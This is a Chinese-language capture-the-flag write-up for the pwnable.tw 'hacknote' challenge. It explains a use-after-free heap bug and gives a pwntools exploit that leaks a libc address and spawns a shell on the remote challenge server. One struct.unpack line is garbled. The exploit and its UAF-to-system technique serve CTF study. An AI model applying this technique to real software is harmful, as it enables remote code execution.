pwnable.tw hacknote write up

程序分析:
程序有四个操作:
1.Add note
2.Delete note
3.Print note
4.Exit

1.Add note
在bss段中存放note的指针,每一个note 包含两个堆块,add的过程中第一个堆块的数据区的开始四字节存放调用puts的函数地址(0x804862b),随后四个字节存放后面存放content 的堆块的地址

2.Delete note
漏洞点发生在Delete 操作中,在调用free函数的过程中没有把free掉的指针置为NULL,造成指针悬挂,从而造成UAF漏洞

3.Print note
创建的堆的结构大致如下:

--------> 前一个堆块的大小或数据
--------> 当前堆块的大小
--------> 要调用的函数的地址
--------> 包含content的堆块的地址
--------> 填充内容

在0x804862b 处的函数中调用puts,然后将当前传入的参数+4 ,在进行寻址就可以访问到content的内容

漏洞利用:

先创建两个大小不为8 的note,假设编号依次为0, 1

然后再delete(1), delete(0)

之后addnote(8, payload),这个堆块编号为2
在这次add操作中 addnote函数中第一次malloc(8) 会重用到编号为0的堆块,指定size为8,会重用到编号为1的堆块,payload就是写入堆块1的数据

布置好数据后调用printnote(1),就可以泄露出libc的地址

之后只要再触发一次漏洞就可以getshell
要注意的是第二次触发漏洞的时候函数指针和函数参数都是ptr[v1],所以布置system函数的参数需要" addr_system||sh"的形式
system(“yahooo||sh”);
不影响getshell

EXP:

from pwn import *
import struct

context(os='linux', arch='i386', log_level='debug')
debug = 1
d = 1

if debug == 0:
        p = process("./hacknote")
        if d == 1:
                context.terminal = ['tmux', 'splitw', '-h']
                gdb.attach(proc.pidof(p)[0])
else:
        p = remote("chall.pwnable.tw", 10102)

def addnote(size, content):
    p.sendlineafter("Your choice :", "1")
    
    p.recvuntil("Note size :")
    p.sendline(str(size))

    p.recvuntil("Content :")
    p.sendline(content)

def delete(index):
    p.sendlineafter("Your choice :", "2")
    
    p.recvuntil("Index :")
    p.sendline(str(index))
    

def print_note(index):
    p.sendlineafter("Your choice :", "3")
    
    p.recvuntil("Index :")
    p.sendline(str(index))
    

def exit():
    p.sendline("4")

elf = ELF("./hacknote")
libc = ELF("./hnlibc_32.so.6")

got_puts = elf.got['puts']
plt_puts = elf.plt['puts']
call_puts = 0x804862b
addnote(16, "pwn")

addnote(32, "chunk")

delete(1)

delete(0)

payload = p32(call_puts) + p32(got_puts) + 'a'*3
addnote(8, payload)

print_note(1)
addr_puts = p.recvline()[:4]
print "addr_puts-> " + str(len(addr_puts))

addr_puts = struct.unpack(", addr_puts)[0]

print("addr_puts-> " + hex(addr_puts))

libc_base = addr_puts - libc.symbols['puts']
addr_system = libc_base + libc.symbols['system']
binaddr = libc_base + libc.search("/bin/sh\0").next()

addnote(48, "getshell")

delete(3)

delete(0)

#payload = p32(addr_system) + p32(binaddr) + 'a'*3
addnote(8, flat([addr_system, "||sh"]))

print_note(1)

p.interactive() 

结果:
pwnable.tw hacknote write up_第1张图片

你可能感兴趣的:(PWN)